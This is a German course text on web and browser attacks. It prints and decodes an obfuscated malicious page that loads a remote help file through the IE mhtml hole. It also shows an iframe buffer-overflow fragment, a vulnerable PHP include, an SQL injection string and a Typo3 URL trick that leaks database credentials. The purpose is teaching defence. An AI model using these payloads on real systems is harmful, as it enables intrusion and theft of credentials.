iframe_src="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";

iframe_name="CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC­CCCCCCCCCCCCCCCCCCCCCCCCCCCCCC"+unescape("%u0D0D%u0D0D");

document.write("<IFRAME SRC=file://"+iframe_src+" NAME="+iframe_name+"></IFRAME>");

</SCRIPT>

</HTML>

Auffallend ist, dass hier zwei Stringvariable mit einer sehr langen Zeichenkette gefüllt werden. Das zeigt an, dass hier ein Pufferüberlauf erzeugt werden soll, mit dem ein gezielter Absturz des Brow­sers erreicht wird. Dazu passend sind auch die Blöcke des Zeichens 90 oder vergleichbarer, die an mehreren Stellen erzeugt werden. Das ist der Code des Assember-Befehls nop (no operation) mit dessen Hilfe ein sog. Gleiter konstruiert wird. Solche Gleiter gleichen Ungenauigkeiten in den Sprungadressen der Schadprogramme aus.

In der Variablen Shellcode ist dann ein ausführbares Programm so abgelegt, dass es HTML-kon­form ist.

Heise schreibt zu dem Problem (http://www.heise.de/newsticker/meldung/54714 vom 2.1.05):


Vorsicht bei Google [Update]

Auch 48 Stunden nach der Benachrichtigung durch heise Security hat Google die trojanischen An­zeigen nicht gestoppt, die versuchen, Sicherheitslücken des Internet Explorer auszunutzen. Zwar er­scheint beim Klick auf die Anzeigen jetzt statt der blonden Anke[1] eine Fehlermeldung "Er­ror404", doch auch in diese Seite ist ein Skript eingebettet, das altbekannte Sicherheitslücken des Internet Explorer ausnutzt. Die Autoren haben sich einige Mühe gegeben und den gefährlichen Script-Code gleich mehrfach verschleiert.

Die Anzeigen erscheinen seit über zwei Tagen, wenn man auf google.de[2] nach "Preisvergleich" oder "Gebraucht PC" sucht. Gleich rechts oben präsentiert Google eine Anzeige, die angeblich zum Evita Onlineshopping beziehungsweise computerclassic.de führt.

Rechnernetze-082.png

Doch auch Googles Suchergebnisse sind mit Vorsicht zu genießen. Wer sich zu dem Zeitpunkt auf die Suche nach der "Kreissparkasse Haar" begibt, sollte vor dem ersten Klick besser zweimal hinsehen.

Rechnernezte-083.png

Gleich das erste Suchergebnis verweist auf kreissparkasse-haar.zq1412jy.info, eine Seite, die mit verschiedensten Tricks versucht, Spyware auf dem System der Besucher zu installieren. Unter ande­rem nutzt sie dabei auch das bekannte mhtml-Sicherheitsloch [3] des Internet Explorer. Wer mit einem ungepatchten Internet Explorer auf dieses Suchergebnis klickt -- oder gleich bei Google "Auf gut Glück" gesucht hat -- wird enteignet: Spyware übernimmt die Herrschaft über seinen PC. Wie das vor sich geht, illustriert die heise-Security-Serie Schädlingen auf der Spur[4].

Doch auch mit dem Service Pack 2 und allen aktuellen Updates ist man keineswegs auf der sicheren Seite. Ende letzten Jahres wurde ein neues Sicherheitsloch im Internet Explorer[5] bekannt, für das noch keine Patches existieren. Da sich darüber auch auf aktuellen Windows-Systemen Programm­e herunterladen und installieren lassen, dürfte es nur eine Frage der Zeit sein, bis die Spy­ware-Seiten dieses Loch ausnutzen. Um sich davor zu schützen, kann man entweder im Internet Ex­plorer Active Scripting abschalten[6] oder einen anderen Browser wie den frei erhältlichen Fire­fox[7] einsetzen.

Update:Die Sparkasse ist beileibe nicht das einzige Ziel dieser Google-Spammer. Die Suche nach der Do­main[8] ergibt fast 25.000 Treffer, die Begriffe von "Autobahn staumelder" über "Hypovereins­bank" bis hin zu "Zelt kaufen" belegen. Außerdem gibt es diverse weitere .info-Domains wie ce20n­r.info, or68ig.info, xw142eh.info, xr023qm.info, np07li.info, zp715tg.info, ht221xg.info, bd522ky.­info und pe522us.info hinter denen sich ebenfalls solche Spyware-Seiten verbergen. Insge­samt dürf­ten die Spammer weit über 100.000 solcher Seiten aufgesetzt und bei Google einge­schleust haben.

(ju[9]/c't) (ju/c't)


URL dieses Artikels:  http://www.heise.de/newsticker/meldung/54714

Das von Heise erwähnte Script für die Fehlerseite hat folgenden Inhalt

<HTML>
<head>
<script language="JScript">
if (navigator.javaEnabled())
{
    document.write("<APPLET ID=\"applt\" ARCHIVE=\"Counters.jar\" CODE=\"Counter.class\" WIDTH=1 HEIGHT=1>\n");
    document.write("</APPLET>");
}
</script>
</head>
<title>Error404</title>
<body>
<h1>Error404</h1>
<script>
es="100;111;99;117;109;101;110;116;46;119;114;105;116;101;40;117;110;101;115;99;97;112;101;40;39;37;117;48;48;51;67;37;117;48;48;54;70;37;117;48;48;54;50;37;117;48;48;54;65;37;117;48;48;54;53;37;117;48;48;54;51;37;117;48;48;55;52;37;117;48;48;50;48;37;117;48;48;54;52;37;117;48;48;54;49;37;117;48;48;55;52;37;117;48;48;54;49;37;117;48;48;51;68;37;117;48;48;50;50;37;117;48;48;54;68;37;117;48;48;55;51;37;117;48;48;50;68;37;117;48;48;54;57;37;117;48;48;55;52;37;117;48;48;55;51;37;117;48;48;51;65;37;117;48;48;54;68;37;117;48;48;54;56;37;117;48;48;55;52;37;117;48;48;54;68;37;117;48;48;54;67;37;117;48;48;51;65;37;117;48;48;54;54;37;117;48;48;54;57;37;117;48;48;54;67;37;117;48;48;54;53;37;117;48;48;51;65;37;117;48;48;50;70;37;117;48;48;50;70;37;117;48;48;52;51;37;117;48;48;51;65;37;117;48;48;53;67;37;117;48;48;53;67;37;117;48;48;52;68;37;117;48;48;52;49;37;117;48;48;52;57;37;117;48;48;52;69;37;117;48;48;50;69;37;117;48;48;52;68;37;117;48;48;52;56;37;117;48;48;53;52;37;117;48;48;50;49;37;117;48;48;54;56;37;117;48;48;55;52;37;117;48;48;55;52;37;117;48;48;55;48;37;117;48;48;51;65;37;117;48;48;50;70;37;117;48;48;50;70;37;117;48;48;55;55;37;117;48;48;55;55;37;117;48;48;55;55;37;117;48;48;50;69;37;117;48;48;54;57;37;117;48;48;55;50;37;117;48;48;54;55;37;117;48;48;51;50;37;117;48;48;51;52;37;117;48;48;50;69;37;117;48;48;54;51;37;117;48;48;54;70;37;117;48;48;54;68;37;117;48;48;50;70;37;117;48;48;50;70;37;117;48;48;55;52;37;117;48;48;55;51;37;117;48;48;55;52;37;117;48;48;50;69;37;117;48;48;54;51;37;117;48;48;54;56;37;117;48;48;54;68;37;117;48;48;51;65;37;117;48;48;51;65;37;117;48;48;50;70;37;117;48;48;55;52;37;117;48;48;55;51;37;117;48;48;55;52;37;117;48;48;50;69;37;117;48;48;54;56;37;117;48;48;55;52;37;117;48;48;54;68;37;117;48;48;50;50;37;117;48;48;50;48;37;117;48;48;55;52;37;117;48;48;55;57;37;117;48;48;55;48;37;117;48;48;54;53;37;117;48;48;51;68;37;117;48;48;50;50;37;117;48;48;55;52;37;117;48;48;54;53;37;117;48;48;55;56;37;117;48;48;55;52;37;117;48;48;50;70;37;117;48;48;55;56;37;117;48;48;50;68;37;117;48;48;55;51;37;117;48;48;54;51;37;117;48;48;55;50;37;117;48;48;54;57;37;117;48;48;55;48;37;117;48;48;55;52;37;117;48;48;54;67;37;117;48;48;54;53;37;117;48;48;55;52;37;117;48;48;50;50;37;117;48;48;51;69;37;117;48;48;51;67;37;117;48;48;50;70;37;117;48;48;54;70;37;117;48;48;54;50;37;117;48;48;54;65;37;117;48;48;54;53;37;117;48;48;54;51;37;117;48;48;55;52;37;117;48;48;51;69;39;41;41;59;100;111;99;117;109;101;110;116;46;99;108;111;115;101;40;41;59;";
var ds=new String();
ads=es.split(";");
k=ads.length-1;
for(var j=0;j<k;j++)
{e=ads[j];d=e;ds=ds+String.fromCharCode(d);}eval(ds)
</script>
</body>
</HTML>

Was hier passiert ist relativ leicht zu erklären, es ist JavaScript-Code verschleiert dargestellt. Wenn man die Ziffern jeweils durch die zugehörigen ASCII-Zeichen ersetzt, dann ergibt sich ein kleines Programm.

document.write(unescape('%u003C%u006F%u0062%u006A%u0065%u0063%u0074%u0020%u0064%u0061%u0074%u0061%u003D%u0022%u006D%u0073%u002D%u0069%u0074%u0073%u003A%u006D%u0068%u0074%u006D%u006C%u003A%u0066%u0069%u006C%u0065%u003A%u002F%u002F%u0043%u003A%u005C%u005C%u004D%u0041%u0049%u004E%u002E%u004D%u0048%u0054%u0021%u0068%u0074%u0074%u0070%u003A%u002F%u002F%u0077%u0077%u0077%u002E%u0069%u0072%u0067%u0032%u0034%u002E%u0063%u006F%u006D%u002F%u002F%u0074%u0073%u0074%u002E%u0063%u0068%u006D%u003A%u003A%u002F%u0074%u0073%u0074%u002E%u0068%u0074%u006D%u0022%u0020%u0074%u0079%u0070%u0065%u003D%u0022%u0074%u0065%u0078%u0074%u002F%u0078%u002D%u0073%u0063%u0072%u0069%u0070%u0074%u006C%u0065%u0074%u0022%u003E%u003C%u002F%u006F%u0062%u006A%u0065%u0063%u0074%u003E'));document.close();

Wenn man auch dies wieder dekodiert, ergibt sich folgendes Listing

<object  data = "ms-its:mhtml:file://C:\\MAIN.MKT!http://www.irg24.com//tst.chm::/tst.htm " type = "text/x-scriptlet "></object>

Zu diesen zwei Zeilen Code findet sich bei Heise in der Rubrik c't Browsercheck:

Installieren und Ausführen von Dateien via mhtml-Redirect

Auf der Sicherheits-Mailingliste Bugtraq hat Thor Larholm von einer Schwachstel­le berichtet, mit der aus dem Internet nachgeladene Hilfe-Dateien mit den Rech­ten des lokalen Systems ausgeführt werden können. Mittlerweile sind Details dazu bekannt geworden. Es genügt, eine passende URL mit einem Redirect zu versehen:

 ms-its:mhtml:file://C:\foo.mht!http://evil.site/exploit.chm::exploit.htm 

Wenn die Datei "C:\foo.mht" nicht existiert, wird die böse Hilfedatei aus dem Internet nachgeladen und mit den Rechten einer lokalen Datei ausgeführt.

Ein eigentlich recht einfacher Trick, der in dem Wust von Zahlen verborgen war.

In dem beschriebenen Beispiel findet man mehrere Ansätze, um auf einem fremden Rechner eigene Programme ausführen zu können.


8.1. Warum erfolgen Angriffe auf private PC?

Die Analyse aller Motive ist vermutlich nicht möglich. Bei den aufgedeckten Fällen der letzten Zeit lassen sich aber einige Motive identifizieren. Ein erster Anlass sich mit Schadprogrammen zu be­schäftigen ist oft einfach das Interesse daran und ein Zuviel an frei verfügbarer Zeit. Dazu kommt dann auch das Ziel den Freunden oder irgendeiner Clique zu zeigen, was man kann.

Auf einer späteren Ebene kann dann so etwas wie Rache an der bösen Gesellschaft allgemein oder an einer Schule oder einem Arbeitgeber auftreten. Immer dann, wenn sich jemand mit entsprechend­en Kenntnissen ungerecht behandelt fühlt, dann kann es passieren, dass er Schadprogramme in Um­lauf bringt.

Ziel ist es oft auf möglichst vielen fremden Rechnern ein Programm unterzubringen, welches auf Befehl seines Programmierers diesen Rechnern fernsteuern kann. Da heute viele Rechner über DSL angebunden sind, steht die entsprechende Bandbreite dann auch dem Angreifer zur Verfügung.

Wenn man genügend solche Rechner (bots) zur Verfügung hat, dann kann man damit gezielt die Schule, die Firma oder eine Institution der Gesellschaft über das Netz angreifen. Zumeist sind dies dann sogenannte „Distributed Denial of Service“ (DDOS) Angriffe. Also verteilte Angriffe, mit dem Ziel einen bestimmten Service außer Betrieb zu setzen. Wenn man mit 10.000 bots ständig Seiten von einem Webserver abruft, dann ist dieser Webserver schnell überlastet und damit außer Betrieb für seinen regulären Dienst. Für einen DDOS-Angiff langen schon einfache Pings oder einfach TCP/IP Verbindungsanforderungen aus. Je niedriger im Protokollstapel ein Angriff ansetzt, desto schwerer ist er zu stoppen.

In der letzten Zeit ist eine Professionalisierung der Angreifer zu beobachten. Sie vermieten „ihre“ Bots an interessierte Kreise. Die Interessenten legen damit z.B. die Dienste der Konkurrenz lahm oder verteilen Spam-Mails über die gemieteten Bots (Heise-Newsticker Meldung 44869 und 54444).

8.2. Ausführen von eingeschleustem Code

Sehr einfach wird ein Angriff immer dann, wenn man den Rechner dazu veranlassen kann, ein belie­biges Programm auszuführen, möglichst von einem Benutzeraccount aus, der viele Rechte be­sitzt. WindXP Home ist deshalb bei den Programmierern von Schadprogrammen so beliebt, weil die meist­en Benutzer hier ständig mit administrativen Rechten arbeiten und in der Regel für den Admi­nistratoren-Account kein Passwort gesetzt ist.

Schon ein erfolgreicher Angriff auch z.B. den Webbrowser öffnet dann den Rechner vollständig für fremde Nutzung.

Die meisten Browser erlauben es eingebettete Programme (Javascript, Java, ActiveX, ...) auszufüh­ren. Sofern die Programmiersprache es erlaubt, kann man damit dann auch Programme auf dem Rechner starten.

Recht nützlich es im Prinzip, wenn im Browser ein Klick auf ein Office-Dokument das entsprechend­e Anwendungsprogramm startet. Wenn der Angreifer dieses Anwendungsprogramm aber vor­her durch ein eigenes Programm überschreiben konnte, dann wird eben sein Programm ge­startet.

Der oben beschriebene mhtml-Angriff beruht darauf, dass der zugehörige Browser einen Sicher­heitsmechanismus nur unvollständig umsetzt. Der Browser unterscheidet zwischen lokalen und ent­fernten Dateien für das Hilfesystem. Nur lokale Hilfedateien startet er mit den notwendigen Rech­ten. Gibt man ihm aber eine (nicht vorhandene) lokale Datei und ersatzweise eine entfernte Datei an, so führt er die entfernte Datei so aus, als ob sie eine lokale Datei wäre. Damit kann der Angrei­fer nahezu beliebige Befehle ausführen.

Ähnliche Schwachstellen existieren auch für viele Server-Dienste. Die Programmiersprache php kennt z.B. den include-Befehl, über den Programmteile aus einer anderen Datei in das Programm eingebunden werden. Bei entsprechender Konfiguration lässt PHP dabei auch Programme von frem­den Rechnern als include zu. Wenn die Programmierer einer PHP-Anwendung nicht aufpassen, dass nur bestimmte Dateien angegeben werden können, dann hat ein Angreifer damit die Möglichkeit, ei­genen Code einzubinden.

Hier eine Warnung von Heise zu diesem Thema (Heise-Newsticker Meldung 51838):

  if (!isset($realm))
   {
        include "home.template";
   }
  else
   {
   include $realm ;
   }

Anstelle des Pfades zu einer lokalen Datei ist es so möglich, eine URL zu einer Datei auf einem Webserver anzugeben. Der include-Befehl lädt das Skript von dort aus nach und bin­det ihn ein. Liegt der Exploit-Code bereit und ist ein verwundbares Skript gefunden, kann ein Angreifer über einen einzigen HTTP-Get-Request die Attacke starten. Das DFN-CERT rät, derart konfigurierte Systeme nach Einbruchsspuren zu untersuchen. Soll­te in den Logdateien des eigenen Webservers Einträge wie

[28/Sep/2004:18:03:07 +0200] "GET 
/pfad/zu/einem/script.php?variablenname=http://192.168.1.2:4213/ HTTP/1.0" 200 15183 "-" "Wget/1.8.1"

Zum Teil suchen die Angreifer die Adressen passender Scripten vorher über Google und greifen dann scriptgesteuert an.

Gezielt kann ein Angreifer auch vorgehen, wenn für ein auf php basierendes Softwarepaket eine entsprechende Schwäche bekannt ist. Im Dezember 2004 hat sich auf diese Art sogar ein Wurm ver­breitet, der einen Fehler in der Forensoftware phpbb ausnutzt (Heise Newsticker Meldung 54550).

Wenn Programme Benutzereingaben erwarten, dann ist es extrem wichtig diese Eingaben sorgfältig zu filtern und nur die Zeichen zuzulassen, die unbedingt notwendig sind.

Ein kleines Beispiel dafür, was man mit Datenbanken machen kann. Gegeben sei der Codeab­schnitt:

SELECT fieldlist
  FROM table
 WHERE field = '$EMAIL';

Die Variable $EMAIL wird im Programm über eine Benutzereingabe gefüllt. Wenn der Benutzer hier

info@schule.de

eingibt ist alle in Ordnung. Kann er aber

info@schule.de'

eingeben, so steht im die Datenbank offen, er kann dann nämlich weitere SQL-Befehle anhängen.

Die Eingabe

x'; DROP TABLE members; --

kann dann zu wirklichem Schaden an der Datenbank führen. Das Anführungszeichen und auch das Semikolon dürfen also auf keinen Fall von der Eingabe an die Datenbank weitergehen.

8.3. Buffer overflows

Auf der Seite http://www.vankoll.de/sec/bo1.html heißt es ganz lapidar „buffer overflows sind mitt­lerweile sicher Hacker/Crackertechnik Nr. 1. Die Problematik selber ist eigentlich schon 10-15 Jah­re bekannt, ohne dass es bis heute konkreten (bzw. problemlosen) Schutz dagegen gibt.“

Grundlage dieses Problems ist die Behandlung von Strings in der Programmiersprache C. Diese überprüft nicht, ob ein String in den dafür reservierten Speicherbereich passt. Auf der Seite findet sich folgende Beschreibung:

Betrachten wir mal folgendes Programm:

void sillycode(char *string) 
{ 
 char buff[100]; 
 strcpy(buff,string); 
} 

Dieses Programm kopiert also das übergebene Argument in buff. Ist dieses Argument länger als 100 Byte (chars, genaugenommen), findet ein bufferoverflow statt, weil das Programm über den für buff reservierten Speicherbereich hinausschreibt.

Die Frage ist, was sich hinter buff, sozusagen ab buff[100] befindet. Unter anderem ist hier die Rücksprungadresse für die aufrufene Funktion gespeichert.Wir können also durch geschicktes Konstruieren des zu übergebenen char *string die Rücksprung­adresse beliebig verändern und damit jeglichen Programmcode (im Adressraum des Tasks) ausfüh­ren. "execute arbitrary code", wie es meist heisst.

Würde das Programm mit root (unix) bzw. System (NT) - Rechten laufen und wir würden die Rück­sprungadresse auf den Aufruf eines command prompt (shell) legen, hätten wir eine rootshell, d.h. komplette Kontrolle über den ganzen Rechner.

Heise schreibt zur Erklärung (http://www.heise.de/security/artikel/37958):

Das Stack-Segment beginnt am oberen Speicherende und wächst nach unten.
Bei modernen Betriebssystemen arbeitet jedes Programm in ei­nem eigenen, virtuellen Adressraum, dessen Adressen die Hard­ware -- konkret die Memory Management Unit (MMU) -- erst bei Bedarf physikalischen Speicher zuordnet. Im virtuellen Spei­cher legt das Betriebssystem beim Start eines Programms drei Segmente an: das Code-Segment, das Daten-Segment (auch Heap genannt) und das Stack-Segment. Das Stack-Segment ist ein Zwischenspeicher für lokale Variable und gesicherte Prozes­sorregister, die das Programm zu einem späteren Zeitpunkt wie­der benötigt. Der Stack beginnt am oberen Ende des Adress­raums und wächst nach unten. Er funktioniert als Last-in-first-out-Puffer, den man erst abräumen muss, bevor man an früher abgelegte Daten kommt. Der Stack Pointer (ESP) markiert das Ende des Stacks und zeigt damit immer auf den letzten Eintrag.

C-Programme legen die Übergabeparameter einer Funktion, die Rücksprungadresse und lokale Variable auf dem Stack ab. Auf die lokalen Variablen greift die Funktion über einen Offset zum so genannten Base Pointer (EBP) zu, der auf ihren Datenbereich zeigt. Die beiden Basisoperationen für den Stack sind push und pop: push schreibt ein Register in den Stack und erniedrigt den ESP, pop liest es vom Stack und erhöht den ESP. Der Befehl RET in einer Unterfunktion lädt den Instruction Pointer (EIP) mit der Rücksprungadresse und springt damit zurück in das Hauptprogramm.

Das ist eigentlich schon der ganze Trick. Da inzwischen fast alle Betriebssysteme und viele Anwen­dungsprogramme in C geschrieben werden, betrifft dieses Problem einen großen Teil der Software.

Ein Angreifer muss also nur nach Stellen suchen, an denen ein Programm die Länge der Eingaben nicht überprüft und auch überlange Eingaben annimmt. Sowie eine entsprechende Stelle gefunden ist, kann man daran gehen, eine passende Eingabe zu erzeugen.


8.4. Manchmal kommt es einfach dumm

Im Jahr 2009 fand sich ein dummer Fehler in allen Typo3-Versionen (siehe http://www.heise.de/security/news/meldung/132475). Der Fehler ist so einfach auszunutzen, dass dringend alle Seiten aktualisiert werden mussten. Der Mechanismus ist so blöd wie einfach.

Man übergibt einem Typo3-System eine URL der Art:

http://meine-typo3domain.de/?jumpurl=typo3conf/localconf.php&juSecure=1&type=0&locationData=3%3A&juHash=4711

Im Prinzip fordert man hier die Datei localconf.php zum Download an. Typo3 beschwert sich mit

jumpurl Secure: Calculated juHash, d29a901ee3, did not match the submitted juHash.

gibt dabei den Hash an, den es erwartet.


Dann erweitert man die URL eben entsprechend um den angegebenen Hash:

http://meine-typo3domain.de/?jumpurl=typo3conf/localconf.php&juSecure=1&type=0&locationData=3%3A&juHash=d29a901ee3

Schon startet der Download der Konfigurationsdatei localconf.php. In der Datei findet man dann die Zugangsdaten für die Datenbank und den Hash vom Passwort für das Install-Tool.

Damit kann man dann schon etwas anfangen, den Hash kann man an einige Hacker-Seiten übergeben, die solche Hashes sammeln und ggf. das Passwort liefern können:

Bekannt wurde dieser Fehler, da die Seiten von Bundesminister Schäuble und dem Fußballverein Schalke04 unter Ausnutzung des Problems manipuliert wurden.

Auch jetzt, einige Jahre nach der Beseitigung des Fehlers findet man immer noch Typo3-Seiten mit der alten fehlerhaften Version.